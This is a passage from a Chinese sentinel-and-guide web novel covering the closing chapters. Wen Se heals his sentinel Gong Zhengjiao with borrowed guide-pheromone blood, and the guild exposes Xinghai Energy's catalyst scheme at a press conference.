“你中弹了。”弓铮皎摸索着捏了捏闻璱的左手。 “是柳部长的向导素提取物,含有金皮树毒素,你将疼痛转移到了你的身上?为什么?怎么做到的?我不是切断了我们之间的连接吗?” “因为那本来就不是向导素毒素,我也中了一弹,那根本不算什么。”弓铮皎的嘴角抽搐了一下,似乎想嘲讽地笑一下显得轻松些,却笑不出来,“这个老登贼得不行,击中你的那一发是催化剂,所以我才能依靠‘酸雨’的在我身体里的遗留将这些成分转移……” 既然闻璱成了新的手术供体,自然,这就是必备的术前准备了。 起初,弓铮皎还能勉强维持自己的精神图景,便制造出一如往常的假象骗一骗闻璱,原本只是想让闻璱这一路上能安心,回到公会再想办法。 可随着时间流逝,‘酸雨’在蚕食他的精神图景,转眼间,就只剩下内核。 弓铮皎不敢醒来,否则图景就会彻底失守。 偏偏就在此时,突如其来的车祸又让他不得不选择——是救闻璱、救下车上的所有人,还是继续沉寂下去,守着一个还不知道有没有转圜可能的精神图景? 想来是个很困难的抉择,但意外发生时,弓铮皎几乎没有犹豫的时间。 这一回,闻璱见到的那漆黑一片就是他那完全荒芜的精神图景现状了,一片漆黑,只剩下一只孤零零的阿咬。 荒芜,紧接着就是萎缩,这曾经令弓铮皎感到绝望,但对于现在的弓铮皎来说,竟然摇身一变,成了不是最差的结果。 他能感知道自己身体里的冲动——精神图景沦陷之后,他的神经系统也逐渐失守,即便‘酸雨’已经不在他身上,他仍然觉得自己在“变异”。 至于这条路的终点是什么,返祖哨兵,还是污染生物?谁也不知道。 闻璱却很快有了其它猜测。 水母本来就是会通过分裂或出芽来无性繁殖的生物,所以弓铮皎未必是污染导致的变异,而是新的‘酸雨’正在以弓铮皎的精神图景为温床繁殖。 闻璱还记得自己精神图景里关着的那只,一开始一直在惨叫“好疼”。 以前不明白为什么,现在弓铮皎说他也中过宫博士的弩箭,这谜题便水落石出——‘酸雨’寄宿于神经中,能够引起强烈疼痛的金皮树向导素对它的杀伤力同样不小。 也就是说,死马当活马医,这或许是个办法。 虽然柳部长的精神体已经在药物作用下退化多年,虽然精神图景被摧毁后重建的案例前无古人, 但闻璱绝对不会接受,这是一条绝路。 他突然伸手摸了摸弓铮皎的脸,又撑开弓铮皎的眼皮,深深凝视那双充血发红的眼。 粉色的眼眸在昏暗的环境里显得如此莹润美丽,让目光也温柔得不像话。 这样的目光或许像极了生死之间最后的一眼,满是对临终的爱人的爱怜,也是弓铮皎曾经梦寐以求,认为得到就能满足的“临终关怀”。 “外面还有人吗?” “没有了,我都收拾掉了,但雨太大,不安全。等雨停之后你再走,小心一点。” 他顿了顿,又说:“我把宫泰初的耳朵割下来了,当时他那辆车被截停了,有人想救他。我只是抢他的耳机,一不小心顺手就……算了,我故意的,我恨他,以前惦记着我的用处,现在又把主意打到你身上,真想杀了他。” “干得漂亮。”闻璱摸了摸他的耳朵,检查他其他器官和肢体的变化。 “……”弓铮皎没话说了,图穷匕见,“那你能和我结合吗?” 闻璱缓缓松开手,郑重道:“现在,不行。” “我这辈子最讨厌半途而废,我做一件事,就一定要有头有尾。” “对不……” “抓紧我。” 话音落下的瞬间,羽翼在山洞里展开,像花苞一样包住两人,旋起急促的气流。 疾风骤起,闻璱挟着狂风飞出山洞,乌黑的羽毛振开雨水,宛如一道漆黑的光撕开乌云翻滚的天。 穿透云层,穿过高楼大厦,穿过暴雨和闪电——。 一道黑影砸碎了郊区别墅的玻璃露台,摔进屋里。 屋主人,被暂时“停职调查”的白塔精神防卫部部长柳心致,在惊吓中一把抽出厨房的西式餐刀,用锯齿形但并不锋利的刀刃对准了这位不速之客。 一瞬间,柳心致以为来的人是彻底疯狂之后的宫鸿初 本人。 近来他和希冕创辉之间显然不愉快,暴露之后,柳心致就被变相“软禁”了。 然而没过几天,宫董那边又态度一百八十度大转弯地好声好气想要请他回去,甚至还发来了莫名其妙的鸟人照片。 柳心致不明白罐子里卖的是什么药,干脆破罐子破摔什么也不管,宫董那边也层层加码,显得更是可疑。 “……是我。”闻璱湿漉漉地从地上爬起来。 飞行速度太快,他根本没有减速的空间,幸好柳心致家里的露台硬度适当,充当了缓冲。 防弹玻璃碎了也粘在一起,没有太多零散、尖锐的碎片,但仍有一片很不懂事的碎片在闻璱的鼻尖上留下一道见血的红痕。 这么多年了,柳心致从来没见过闻璱如此狼狈、不顾形象的一面。 平心而论,柳部长知道闻璱不爱打扮,但这不代表闻璱不爱体面,他只是不精于穿搭,但形像永远是整洁得体的。今日一反常态在先,以至于柳部长怔了好几秒,才反应过来两件事。 一个,是闻璱的精神体似乎恢复正常了?不仅如此,还融合到了闻璱后背上。 另一个,是闻璱的腰上怎么还挂着一个意识不太清醒的黄毛…… 餐刀脱手,柳心致瞪大了眼睛:“弓铮皎?!” “先不跟你解释了。”闻璱收了羽翼上前,“长话短说,让你的精神体出来。” “你开什么玩笑?”柳心致一脸莫名其妙,“我的精神体几十年前就出不来了。” “你没有后手?我不信。”闻璱道,“你主动让它出来,或者继续嘴硬,我就给你强行灌点催化剂揠苗助长——忘了告诉你,星海能源那个催化剂的来源是污染区,特种人摄入了可能会死。” 一串连环消息打得柳心致头昏眼花,第一次对自己步入中年这件事有如此切实的观感。他扶着柜子捏了捏自己的眉心:“等等、从头来,什么?” “给我向导素!”闻璱忍无可忍,干脆从地上捡起餐刀,抵在自己手腕上。 “给我向导素。”闻璱说,“不然,我就动手了。” “你……”柳心致一口气好半天才上来,“我还不知道你?你才不会呢!” 闻璱冷冷道:“试试看。” “你用你自己来威胁我?闻璱,你别太天真,以为是个向导的忙我都会帮,你滚出我家!”柳心致怒道。 闻璱还是那三个字又重复了一遍:“试试看。”只是这次说话时,他下压刀刃,转眼间就在手腕上留下一个锯齿形的红印。 “等等!”柳心致连忙道,“……你需要多少?” “你能提供越多越好。” 柳心致骂骂咧咧道:“好吧,好吧!你这个神经病!” 他转身回到自己的房间里翻找片刻,拿着一堆瓶瓶罐罐走出来。 服下一堆药片之后,柳心致缓缓说:“三天之后你来找我,服药之后至少三天抽血才会见效。” “不行。”闻璱当场否决,“我们没有那么多时间了。” “们?”柳心致冷笑一声,“你果然又是为了他?闻璱,我提醒过你多少次,动动你那脑子,你——” 话没说完,突然被闻璱抓住了手。 “你在拖延时间,你服用的只是活性剂和维生素。” “废话!”柳心致道,“不然我还能有什么后手?你以为特效药满大街都是啊!” “但我好像能感知到你的向导素仍然存在。”闻璱把柳心致一只手举到面前很近的地方,眼神莫测,似乎在透过手指观察什么。 柳心致还以为他在看自己,当即鸡皮疙瘩爬满了一身,阴恻恻道:“你想做什么?” 闻璱迅速道:“你并没有被彻底‘阉割’,只是现在的血液里向导素的浓度很低,低到无法被检测和提取保存,也无法用来标记,对吧。” “当然没有,注意你的用词!”柳心致气不打一处来。 闻璱的目光彷佛穿透皮肤看到皮下血管,他认真地注视了一会,又重复了一遍:“我能感知到你的向导素。” 大概就像闻璱曾经故意在弓铮皎身上留下的标记只有同为向导的柳心致察觉到,此刻闻璱也能感知到,柳心致身上有很低浓度的向导素,带着隐隐的刺痛感。 柳心致配合但又不是很配合:“那又怎样?说到底,你还没告诉我,你想用我的向导素做什么?” “注射给他。”闻璱回头指了指趴在沙发上的弓铮皎。 “什么?你疯了?他会受创的!”柳心致惊疑不定。 “……就是要这样。”闻璱语焉不详,“你的向导素会无差别攻击他的精神投射物,这就是我需要的。” 这话怎么听怎么不对味,柳心致看了看沙发上似乎奄奄一息的弓铮皎,身上没有外伤,可见大概是遭受了精神力方面的攻击。 难道是闻璱干的? 他拿不准这对前几天还情比金坚的情侣怎么转眼间就成了这样的一对怨侣,但闻璱眼看着就要误入歧途……柳心致觉得如果共犯是自己的话,好歹能帮忙遮掩一下。 “……不早说。”柳心致缓缓拉起衣袖。 闻璱一眼就看出柳心致误会了,但解释起来复杂,而且一旦知道自己是在尝试救人,柳心致可能又会反悔。他并没有多说,迅速点了点头。 消毒、抽血之后,盛着一小管鲜红血液的采血管被交到闻璱手里。 闻璱坐在沙发上看着意识昏沉双目紧闭的弓铮皎,拿出一个新的针管抽出几滴,递到他唇边。 “……臭。”弓铮皎从牙缝里挤出来一个字。 柳心致当场就要发火,闻璱安慰道:“臭也要喝,试一下。” 几滴入口,不友好的向导素从喉头、食道一路窜进弓铮皎的身体里,当场蜇得他险些断气,他艰难道:“没用。” “……”闻璱沉默片刻,手上用力,直接将采血管捏碎。 “喂!”柳心致怒了,“我可不会再给你新的一管!” 玻璃碎片几乎嵌入闻璱掌心的皮肉,鲜血涌出,和柳心致的血混在一起。 闻璱随手挑出大块的玻璃碎片,小块碎片却来不及清创,他把手垂在弓铮皎唇边,吩咐道:“张嘴。” “不要尝试分离我和他的血液,也不要抵抗,相信我,我会帮你把向导素提取出来。” “然后,他的向导素可能会摧毁你的图景残留,会很疼,就把这当是一种清创,不要抗拒,有我在……” 他说着,用滴着血的指尖轻轻按了一下弓铮皎的嘴唇。 “标记我。” “什——”弓铮皎惊讶。 “喂!”柳心致则是崩溃。 闻璱不容拒绝,直接把手指伸进弓铮皎口中,指尖抵住舌根,指腹压在虎牙上,再次命令:“用你的牙齿标记我。” 皮肤被磨破,不仅是向导素在溢出,令人着迷和疼痛厌烦的气息纠缠着淌进弓铮皎的喉咙,哨兵的精神力也被反向刻进闻璱的伤口中。 刺激得闻璱下意识想要抽手离开——但他眉心紧锁地忍住了。 弓铮皎用舌尖舔他的指尖,左右互搏一般,沉溺于烙印于闻璱的愉悦感中,又怜惜地舔他的伤口,似乎希望伤口早些愈合,标记也随之结束。 不论怎样,舌尖裹走闻璱的鲜血,唇瓣还追逐着抿过伤口,像饥饿的吸血鬼一样索求更多。 生理知识提醒闻璱需要时刻注意自己的失血速度和失血量,然而实际上……闻璱完全顾不上了。 他的精神力随着献血与标记也深入弓铮皎的每一个细胞,尝试和这个精神图景已然荒芜成了黑洞一个的哨兵创建连接。 这第一步已经困难得就像是拘起一捧干燥的金沙,接下来,闻璱还要用这些沙金捏出一座城堡。 只是或许弓铮皎原本也没有在渴望一座城堡。 闻璱突然意识到,那个庄园创建在弓铮皎的童年时代,现在,又有什么会是阿咬喜欢的呢? 向导素牵引着他,在一片漆黑中松开了手。 金沙自指缝滑落,落下去,最终化成了一个只有巴掌大的波浪边小鱼缸。 闻璱终于看到对面出现了一只蓝紫色的虎眸。 接着是胡须、牙齿、耳朵、身体……尾巴。 透过玻璃的曲面折射、轻轻摇动的水波,这只刃齿虎显得如此比例失调,身体几乎只有很小的一部分,眼睛却占了脸的绝大部分。 就像是透过猫眼看到的一样。 意外的也有点可爱。 闻璱伸出手——或者说是鳍——打开门,触摸它的眼睛。 世界就陡然亮起来,以鱼缸里这条发光的小鱼为中心,折射出万花镜一般的光彩。 第117章 爽。 柳心致屁滚尿流地离开自己家的客厅。 他生怕接下来会发生什么很超过的事情,让他看见不该看的东西长针眼,于是逃回书房坐了一会,掏出终端,拨通通话。 虽然在“停职”期间,但“停职”的原因上级下属都心知肚明,并没有人监视或阻拦他进行通信。 通话几经转接,最终接通的人是冬歆亭。 向导之间的圈子总是很小。 “你好。”柳心致开门见山道,“我刚刚给闻璱弟弟打电话没打通,闻璱现在在我家,你过来把他接走。” 他迅速地报出自家地址,在对面给出反应之前就挂断通话,杜绝被追问和拒绝的可能性。 过了一会,门铃响起,柳心致给自己做好心理建设,才小心翼翼地推开房间门。 值得庆幸的是,客厅里的画面很正常,比柳心致给自己进行的心理建设里最糟糕的画面要好多了,勉强算是在柳心致的接受范围内。 又是膝枕,闻璱靠在沙发靠背上合上双眼,似乎已经睡了过去,一只手还拿着柳心致家的固定终端,另一只手…… 正被弓铮皎握在手里舔来舔去,用舌头上的倒刺把伤口缝隙里的玻璃残渣清创。 不行,还是不太能接受。 柳心致捂着眼睛冲过客厅打开门,门外正是一脸茫然的冬歆亭。 “教授,那个……”冬歆亭下意识地指了指院子里的一片狼藉,正是闻璱先前冲破露台的事故现场。 然而冬歆亭的目光很快越过柳心致,看见沙发上闻璱的后脑勺,顿时再顾不上无关紧要的小事了。 柳心致让开半个身位,冬歆亭便冲进去:“闻队!你……” 他的声音渐渐小了,因为看到闻璱还闭着眼睛,脸色苍白;也因为弓铮皎坐起身,用两只充血的竖瞳盯着他。 一时间,冬歆亭还以为看着自己的不是人,而是野兽。 闻璱心里揣着事,哪怕再累睡得也不算安然,自然而然被动静吵醒。 恍惚只是一瞬,他很快站起身,却因动作太猛而眼前一黑,险些没能站住。 罪魁祸首之邪恶吸血鬼连忙扶住他,甚至想要一把把他抱起来。 “不用。”闻璱按着额头缓了缓,顺便用精神力检查弓铮皎的情况。 “我没事。”弓铮皎说,“至少好很多了。” 闻璱也知道这话不是逞强,毕竟他失去意识前,就先确认了弓铮皎的情况有在好转。 现在不太适应的是闻璱才对,毕竟,他被弓铮皎标记了。 哨兵向导之间的互相标记不是什么新鲜事,闻璱也标记过好几次弓铮皎,但他还从来没被人标记过,此时此刻属于他人的精神印记印刻在自己的精神图景里,让闻璱有种很陌生的感觉。 当然也可能有缺血导致了头晕缘故,弓铮皎刚才简直是牛饮。 闻璱又看了弓铮皎几眼,低低了“嗯”了一声,转头问冬歆亭:“你来做什么?对了……逄靥星他们联系你的?” “我让他来把你带走!”柳心致冷嘲热讽道,“你还真想在我这里赖着?做梦!账单我会发给你的!” 说完,他就抬手指向大门,完全不委婉不客套。 闻璱也不恼,看了一眼墙上的挂钟,是晚上十点。 距离车祸发生已经过去了近二十四小时,距离他把弓铮皎带到这里,也一个多小时而已。 记忆和理智复苏的很快,闻璱立刻说:“我们走。” 等坐上冬歆亭的车,闻璱又问:“有终端吗?” 他和弓铮皎的终端在车祸之后就再也没见过了,之前也一直没顾得上,这几个小时倒是跟原始人一样。 “用我的吧。”冬歆亭把自己的终端解锁之后递过来。 “小胖联系过我了,他和舒颖现在都在公会那边,没什么事。他说车祸之后一直找不到你,没想到柳教授说你在他这里。”冬歆亭迅速道,“我这趟来之前跟他说了,只是他还是不放心,一会你跟他说一声。你放心,这事我没告诉别人。” 闻璱长叹一声:“辛苦你,小冬,那我们也去公会。” “没事,不过你们这趟到底发生了什么?”冬歆亭忍不住问,“车祸就算了,我听小胖的意思,那个……” 他的眼神很隐晦地通过后视镜偷瞄了一眼弓铮皎。 “他是有些情况,但现在好多了,先不说他。”闻璱道,“记得之前舒颖的研究吗?” 冬歆亭点了点头。 “她的猜想没错,‘酸雨’确实是种生物,星海能源用这种生物提取催化剂攫取利益,但这很危险,极少量的催化剂就可能导致严重精神影响,所以我们不希望催化剂能够成功上市。” 震惊过后,冬歆亭压低声音说:“所以车祸是星海能源干的?真是疯了。” “大概率是。”闻璱说,“我正在联系过公会,交接之后,接下来的事情就交给公会好了。” “明白了。” 然而过了一会儿,冬歆亭又更低声音地问:“你是不是找了那个,金岸会长的弟弟,老金?” 金峙和闻璱、冬歆亭虽然有些年龄差,但勉强可以算是圣所同期,金峙又是风云人物,冬歆亭认识他不奇怪,奇怪的是,冬歆亭向来很少八卦,和逄靥星恰恰相反。 闻璱一怔,还是点了点头:“是他。” “……他给我打了好几通电话,死缠烂打地问你在哪,说有正事找你,问他什么事,他又不说,让我别管。”冬歆亭有些无奈地说,“那会我不知道他真的是自己人,而且小胖也联系不上,我正着急着呢,以为他就是来骚扰的,就说你……” “说你和别人度蜜月去了。” 他说着,隐晦地指了一下手腕。 弓铮皎得到的生日礼物也有冬歆亭一份参与,对闻璱这段感情的心路历程,冬歆亭也算有些观察,这话到不能算是完全虚构。 但可想而知金峙应该会彻底发疯。 弓铮皎立刻笑了一声:“谢谢。” “……不用谢。”冬歆亭还有些不太适应。 对于这种小事的真相如何,闻璱并不放在心上,他随口应了一声,注意力还是放在手上的终端。 他依次给舒颖和逄靥星都拨去通话,竟然都没能接通,于是在语音邮箱流言简述了一下发生的事情。 正打算将终端还给冬歆亭,顶部却弹出一个推送—— “直击特种人公会直播现场!” 闻璱眉头微沉,点开了推送,顺手投送到车载电视上即时观看。 才进去,就看到了刚才没接通话的两个人,分别戴着墨镜口罩包裹得一点不露,一左一右出现在直播画面里。 坐在两人中间的,就是公会的程主席;两侧还有几个陌生人。 “尊敬的各位媒体朋友、各位来宾,大家晚上好。首先,我谨代表特种人公会……” 后座的弓铮皎也坐起身,凑过来看。 他伸手指了指角落里一个西装革履的人:“这是宫烁的秘书,他在这里,看来是公会已经摆平了他们?” “说不定是宫烁摆平了你叔叔。”闻璱微微挑眉。 一系列官腔过后,程主席进入正题:“今天我们在这里召开新闻发布会,主要目的是就近日‘污染区变异生物遭偷猎交易流入社会’传言受高度关注一事,作出回应。” “第一,污染区所有变异生物都在公会的严格管控下,一应研究都需要经过公会与白塔的严格审核,绝不存在任何团体偷猎的可能性。 “第二,就‘变异生物交易’的传言,特种人公会在此回应。该流言起源于网络账号,经溯源该账号IP为某首都市民,对此,特种人公会及警方已对其进行严厉批评教育,并依律拘留十五天。 “第三,对于网络上以‘某海能源’为例的部分企业浑水摸鱼、混淆视听,在未经官方证实情况下利用网络账号转发、宣传流言一事,特种人公会表示强烈谴责!” 闻璱喃喃道:“原来是这样。” “什么?” “星海能源截杀我们失败,就先手散步谣言,泼脏水说公会监管不力,或者官商勾结,进行污染生物偷猎交易吧。”闻璱解释道,“舒颖不是回到公会了吗?这大概让他们很紧张,甚至急得亲自下场传谣……不过,这谣传得还真巧,不错。” 污染区变异生物偷猎交易……这不就是星海能源正在做的事吗? 只是谣言被放出来时,‘酸雨’确实是污染生物这件事,显然星海能源还一无所知。 歪打正着——公会得知谣言内容时,大概也没想到能如此之巧,以至于现在公会想要反打一手,也轻而易举。 果然,澄清过谣言之后,发布会却没有进入提问环节。 程主席抿了一口茶水,开启了第二阶段——关于“某人工合成污染物质”的通报批评。 整个过程中,没有人再提到星海能源,只是由程主席主持下,介绍了某污染区新提取到的污染物质对人体可能造成的危害,由逄靥星和舒颖作为“匿名证人”,由希冕创辉联合白塔提供生物方面的理论背板,再次提醒公众警惕来源不明的危险。 等到记者提问环节,果然立刻有人发问:“您提到这种物质是人工合成的,并不是污染区逸散的,是谁在做这种事?您有什么证据?” “证据就在这里。”程主席微笑着,看向长桌的另一个角落。 和宫烁的助理坐的位置恰恰相对,那里坐着一个头上被黑布盖住的人。 当他缓缓开口时,弓铮皎立刻听出来他的身份。 “……是叔叔。”他有些怔住,“我是说……严格来讲是我DNA来源的那个叔叔。” 宫董没有佩戴变声器,缓缓道:“我是宫泰初,希冕创辉的高级生物工程师,我实名举报,星海能源雇佣我的进行了一系列违规研究,并将成果用于人工合成污染物质,以便获利。相关证据已经提交有关部门,我……” 他的声音突然哽了一下。 再次开口时,便带上一丝尖锐刺耳的厉鸣,让直播间的收音设备都因高频音而嗡鸣一瞬。 “这是……” 闻璱还没反应过来,弓铮皎突然说:“……他真的是特种人啊。” “什么?” “啊?!” “这个鸣声是噪鹃,不会有错。以前在论坛的时候,我刷到过有人猜你的精神体,其中就包括噪鹃,一种羽毛近黑、红色眼睛的鸟,所以我去了解过。” “而且你看这块布,谁的鼻子能凸起到这种程度?是喙吧。”弓铮皎指了指宫董的头。 “他无意识地拟态融合了?”闻璱猜测,“也是……如果他真的是特种人,又接触过催化剂那么多次,很有可能直接融合。不过高龄觉醒……他以后生活中恐怕不会太舒服。” 对于逄靥星和舒颖来说,因此领悟拟态融合的调频方法绝对是意外之喜。 但对于宫董来说,这无异于灭顶之灾,甚至或许比直接杀了他还糟糕。 弓铮皎定定地看着,嘴角一弯,笑了一下:“他一定吓疯了。” 想变成特种人的,想尽办法,甚至进行移植手术,也得不到自己想要的,倒是最看不起特种人的,一不小心还真的融合了。 歪打正着地,吓得宫鸿初大概再也无法操心任何利益,甚至毫不犹豫地背刺星海能源这个前合作夥伴,连双胞胎的兄弟也成了“弃子”。 至少此时此刻,最希望催化剂从未出现过的,大概就是宫鸿初本人。 笑着笑着,弓铮皎越来越无法自抑地笑倒在车后座上,然后很轻地叹了一声:“……爽。” 第118章(正文完) 第118章 (正文完)我已经属于你。 到公会被请进会议室之后,弓铮皎被带去其他房间做检查,闻璱一个人呆了一会,才想起来要包扎手。 弓铮皎把他的伤口舔得已经完全不流血,也没有什么残渣剩余了,所以不算太痛。 也正因为不痛,闻璱又罕见地一时迷糊,来的一路上才会把这事抛在脑后。 等弓铮皎回来时,闻璱已经包扎完了。 他走过来,在闻璱腿边坐下,抱住闻璱的小腿,亲吻了一下闻璱的膝盖。 “我刚刚去见了叔叔。” 闻璱伸手摸了摸他的头:“怎么样?” “不怎么样,他用人的身体顶着一个乱七八糟的鸟头,自己都不敢看自己,完全疯掉了。他还非要说是因为你他才会变成这样,说是他天天做噩梦梦到那天你长翅膀的背影,后来就这样了。开玩笑,他那丑样怎么能和你比,我看他是镜子照得太少……总之,被我失手打晕了。” 闻璱忍不住轻笑出声,对这个“失手”字眼的可信度持保留意见。 会因为这件事心情不好并不是什么很意外的事,他绕了一下弓铮皎的头发,本想说出口的安慰就变成了:“……一会回家洗个头。” 弓铮皎抬眼,目光幽怨。 大概在检查时公会人员也为弓铮皎临时处理了一下眼底出血的情况,现在他看起来正常多了,只是有点淩乱,也有点脏。 在山里当过几个小时的野人,又在暴雨里疾飞,论起个人卫生,闻璱的状态其实没比他好太多。 意识到这一点之后,闻璱甚至想立刻申请一个临时浴室洗澡。 还没动,弓铮皎先不太开心地站起身来。 门又开了,这次是逄靥星河舒颖打头。身后,程主席微笑着跟在一个眉眼威严的普通人身后进来。 正是基金会会长,金峙的姐姐,金岸。 逄靥星扑过来拥抱闻璱:“我在山上找了你好久!” 舒颖则简单道:“没事就好。” 正事当前,又有外人在,闻璱只简单寒暄了两句,就主动起身与金岸握手。 “久仰大名,闻先生。”金岸友好道,“程主席说,你是公会这些年最厉害的首席向导。” “过奖了。”闻璱也谦虚地开了个不算玩笑的玩笑,“让公会头疼得最厉害吧。” “呵呵,也是。”金岸大方承认。 没有太多的废话,交际过后,程主席进入正题:“舒女士说,您身上还有一份能够证明‘酸雨’生物和催化剂之间关系的关键证据?” 闻璱点头:“但它不能在常规条件下存活,或是被观测,为了更好地研究,我大概需要一套仿生脊髓仿真系统。” “用生物兼容性材料3D打印脊椎骨架,还有脑脊液循环,总之,需要给它营造一个仿真脊椎生物脊髓的环境……这应该不算太困难。”舒颖沉思道。 “是的,至于最关键的神经元信号仿真,这恰好是我研究过的课题。”闻璱问,“设备的部分,大概多久能到位?” 技术上的内容金岸和程主席也不太懂,又叫了几位基金会的普通人专家来商量。 专家好奇且友好,沟通过程中,逄靥星听得枯燥,离开会议室去找冬歆亭了。 闻璱思索再三,缓缓道:“研究‘酸雨’的话,白塔精神防卫部对柳心致柳部长会很有用,他的向导素对抑制‘酸雨’活性很有效。” 金岸不置可否:“我会考虑。” 敲定过仿生脊髓设备的事情之后,程主席又提到,关于希冕创辉的事情。 谈起这个,舒颖也立刻藉口“家里还有人等”地走了。 程主席委婉地开了个头,目光礼貌地在弓铮皎身上停留一瞬,提醒闻璱或许有些人该离开了。 弓铮皎却说:“没关系。” 闻璱回头看了他一眼,也道:“让他呆着吧。” 于是,程主席讲道:“这件事对希冕创辉会是一个很大的打击,白塔那边,他们注定要抛开了,这也是上面的意思,这样看来,白塔商业化不是一个好主意啊。” 闻璱心里一动。 他原本就觉得公会的动作太过雷厉风行有些罕见,在自己手里这份切实证物到手之前,就相信了舒颖和逄靥星的话——虽然那并非一面之词,有其他证人,也有一些理论支撑,更有公会和希冕创辉的恩怨在先…… 越想似乎越有道理了。 但闻璱并没有掉以轻心,冷静地看着程主席:“所以,您的意思是?” “公会也会改革。”程主席道,“闻先生,这是你的机会。” 希冕创辉退出之后,公会自然也能分得一部分利益,连同闻璱帮金峙完成的委托……这些加起来,让金岸愿意卖闻璱一个更大的人情。 这就像是大家分食希冕创辉断尾求生的那条“尾巴”,难怪程主席认为,弓铮皎需要回避。 只可惜闻璱并没有这方面的想法。 闻璱沉默片刻,撇开话题:“我能先问问,关于‘融合派’,接下来会有哪方面的安排吗?” 这个话题无可回避,因为最直观地来看,适量的‘酸雨’分泌物对特种人学会调频有显著效果,也就是说融合派很有可能会越来越多。 但微妙之处也在这里,当特种人的精神投射能够被普通人观测、触摸,能够影响普通人的客观现实…… 那这就不是特种人的事而已了。 金岸看着闻璱,足足有好几秒钟——她的目光又转向弓铮皎,这个传奇哨兵、宫鸿初的儿子。 最终,金岸缓缓道:“我支持公会,是为了我弟弟。” “你帮了我弟弟很多,他也很喜欢你。” “他接下来的路你很清楚,如果你愿意的话……” “不行。”弓铮皎强势插入。 会议桌很长,他之前一直靠在离谈话很远的那一端,像个憔悴的花瓶。但这话一出,弓铮皎闪现一样地出现在闻璱和金岸中间。 金岸顿了一下,继续道:“你可以接替原本他会去的位置,成为他的上司。” 弓铮皎:“……” 闻璱有点忍俊不禁,但还是说:“谢谢,但是算了,我确实不太愿意。” 金岸没有再劝,“为什么”并不是政客会问出来的话。 她随和道:“你不用现在做决定。”让话终究没有被说死。 程主席道:“融合派的数量还很少,目前也没有恶性事件,关注度不高,所以,在相关条例和新规完善之前,希望你们能够保持。”他说着,目光再次落在弓铮皎身上。 这房间里,弓铮皎是唯一一个和普通人发生过冲突的特种人,虽然那并不能全怪他,也和融合派与否没有任何相干。 闻璱道:“会的。必要的话,我手里还有一份证据,对希冕创辉不利,但适当运用的话,或许能引起同情,降低公众对融合派的抵触……当然,就算不是为了这个,有人或许也希望这件事能被公之于众。” 程主席有些惊讶,闻璱居然当着弓铮皎的面如此大方地再捅希冕创辉一刀。 他若有所思地摸了摸下巴:“这件事,该不会就是我以前收到的那封匿名邮件吧?” 时间轴被程主席一句话牵回几个月前,弓铮皎低低地应了一声:“是我发的。” “铁面无私啊。”程主席对豪门恩怨似乎饶有兴致,但终究没有多问,“这件事等‘酸雨’的研究之后再处理。哦,对了,包括‘酸雨’的研究必须要对特种人群众也保密,你们明白吧?” “明白。”闻璱知道,这也是为了防止有特种人为了成为融合派铤而走险,害人害己。 “那就是这些了。”程主席再次和闻璱与弓铮皎握手。 “今天之后,星海能源想做什么也是徒劳无功,大概不会再对你们动手。不过防人之心不可无,万一他们破罐子破摔要报复你们,也不是没有可能。你们在公会登记过的住处,公会都已经派人检查过了,以后也会长期关注。” 程主席对闻璱一笑:“不过,闻先生似乎已经很久不住宿舍了。” “我们就不用了。”闻璱婉言谢绝。 “还是谨慎些。”程主席似乎有些未尽之言没有说出口。 眼见金岸离开会议室,程主席也打算告别,闻璱忍不住开口:“主席,等一下。” “公会永远站在特种人这边,所以这一次会帮助我,我很感谢。”闻璱道,“但如果我 没能回来呢?” 他的心里话其实是——“如果我判断错误,这一切并非如此”,或是“如果这一切都是我处心积虑的谎言呢”。 金峙的面子真的就有那么大吗?闻璱可不觉得金岸会长是如此不理智的人。 程主席转过身,笑了一下:“你也说过,公会永远站在特种人这边。如果你回不来,金会长会继续推动舒女士的研究,真相如何,到时候自然会见分晓。” 他听懂了闻璱的言下之意,不仅如此,看向闻璱的目光反而多了一丝欣赏:“而你,闻璱,你,你的小队,还有你的哨兵,你们的信誉很好。” 闻璱一怔。 “你在公会服役期间,小队加上个人合计完成了大大小小三千多项委托,从未有违约记录。而他更不用说,”程主席转向弓铮皎,语气里甚至有些羡慕,“你甚至打破了我的记录,而且,你还将继续在役很多年,创造一个更惊人的数字……后生可畏啊。” “规矩虽然是规矩,但是,公会还是由我们特种人做主的。”程主席向两人眨了眨眼,拉踩道,“不会向白塔那样,亏待我们自己人。” “!”弓铮皎灵光一闪,连忙追问,“你的意思是,闻璱之前私下接活的事可以澄清了?” “当然,我相信你们不会得了便宜还卖乖。”程主席颔首,“白塔改革,特种人的婚配制度也要改革,一些事项当然可以稍微放开,这对大家都好,只是这可能是个很漫长的过程,你们要做个好榜样。” 他话音才落,终端就恰到好处地振动起来,于是离开也变得合情合理。 闻璱长舒出一口气:“我们也回家吧。” 一场意外不断的“偷渡”,直到此刻,闻璱才有一种一切总算是快要尘埃落定的实感。 离开时途径停车场,冬歆亭的车还没走,逄靥星眼尖地招了招手:“闻璱!” 等闻璱和弓铮皎走到近前,他道:“我送你们回家,不对,小冬开车送你们回家。” “不用,我们走路。”闻璱拒绝得毫不留情。 于是逄靥星也不见外起来:“那我们好好算一下,你们俩在山里这样那样就算了,走的时候,为什么不通知我?!要不是看到天上突然有黑影飞过,我还不知道要在山里找多久!闻璱,你对得起我吗?” 放在平日里,闻璱当然不会顺着他,唯独这事论起来,闻璱还真有点不好意思。 加上此时心情很好,他笑了一下,坦然道:“对不起。” 这一下反而把逄靥星给说愣了。 好几秒过去,逄靥星拿出终端,打开录音功能:“再说一遍?” 闻璱微笑:“过期不候。” 逄靥星也不多耍赖,眼神有些别扭地瞟向弓铮皎:“……你也没事?” 他在山里时误会弓铮皎兽性大发,要把闻璱生吞活剥,很是在心里恶毒诅咒了一番。 不过现在一见两人没什么事,他又有点独角戏式的心虚和理亏——虽然,也不能说是没什么事。闻璱身上弓铮皎的标记气味彷佛每一秒都在拳击逄靥星的感官,也算是弓铮皎另一种意义上的兽性大发了。 然而对于弓铮皎来说,在山里濒临“变异”时地记忆已经有些模糊了,或者说,大脑自动只保留了弓铮皎最喜欢、最愿意铭记的片段。 当然是被闻璱揪着尾巴、甚至被用自己的尾巴“鞭笞”的片段。 弓铮皎也不知道该怎么解释,反而眉梢眼角又窜上一丝丝得意:“没事,谢谢。” 逄靥星一看他表情,就后悔自己多问这一句了,当场坐回车里:“我们走了。” 冬歆亭也道:“拜。” 于是还是两人步行回家。 暴雨初停,空气一派清新,但街面的积水还没有被排干净,深一脚浅一脚地,每一步都溅起水花。 弓铮皎说:“我背你吧。” 其实意义不大的提议,因为闻璱的强迫症在危机关头自动靠后站,到现在也还没排到上桌。此刻两个人都一身狼狈,谁也不差这几点溅起的水渍, 但是…… 好像也没有什么但是。 